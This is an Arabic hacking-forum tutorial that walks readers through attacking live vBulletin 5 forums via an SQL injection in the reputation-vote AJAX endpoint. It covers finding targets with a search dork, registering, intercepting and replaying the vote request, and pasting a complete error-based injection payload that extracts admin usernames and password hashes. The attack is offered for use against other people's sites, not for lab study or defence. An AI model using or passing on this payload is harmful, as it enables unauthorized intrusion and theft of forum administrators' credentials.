شرح ثغرة sql في منتديات Vbulletin 5 x x

[اندلوسي]

اليوم ساشرح تغرة في منتديات الفي بولتن 5

الشرح لvirusx-76 (اندلوسي) Morocco وارجو من كل من ينقل الموضوع ان ينقله مع الحقوق

نوع التغرة : SQL Injection

Powered by vBulletin™ Version 5.0.0 Beta : Dork

نبدا اول شئ نبحت بواسطة الدورك في العم خوخل الى ان تجد منتدجى مركب النسخة

انا ساجرب على هدا المنتدى عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]

اوك اول خطوة قم بالتسجيل في المنتدى كعضو

بعدج دلك ندخل المنتدى ونبحت عن مواضيع الاعضاء

اي موضوع لاكني افضل انك تجيب موضوع للادمن كي تاخد الكاس مرة واحدة

ملاحظة كي تعرف الادمن بسرعة اضغط على اسم اي عضوفي المنتدى او اسم عضويتك

وسيكون الرابط على هدا الشكل عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]

مكان 2-xxx استبدلها بالرقم 1 وياتيك اسم الادمن

اوك نرحع للتغرة بعد ما جبت مشاركة او موضوع للادجمن ندهب في متصفح الموزيلا الى tools=) HTTP HEaders

ان لم نحدها حملها هنا عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]

بعد الضعط على HTTP HEaders ادهب للصفحة اللي كاتب فيها الادمن واعطيه لايك

سيضهر لك كودات اختار السطر الدي يشبه هدا /ajax/api/reputation/vote HTTP/1.1

بعد دلك اضغط كلمة Replay في الاسفل

ستضهر لكنافدة جديدة مكتواب فيها noteid=somenumber لا تمسحها ستقوم بنسخ سطر استغلال التغرة

حنبها مباشرة

سطر استغلال التغرة وهو

) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338


بعد دلك اضغط Replay ومبروك عليك سيعرض المعلومات على المتصفح او يعطيك ملف تحمله تجد بداخله البيانات

هدا رابط لتحميل الفديو + معلومات التغرة

عفوا ,,, لايمكنك مشاهده الروابط لانك غير مسجل لدينا [ للتسجيل اضغط هنا ]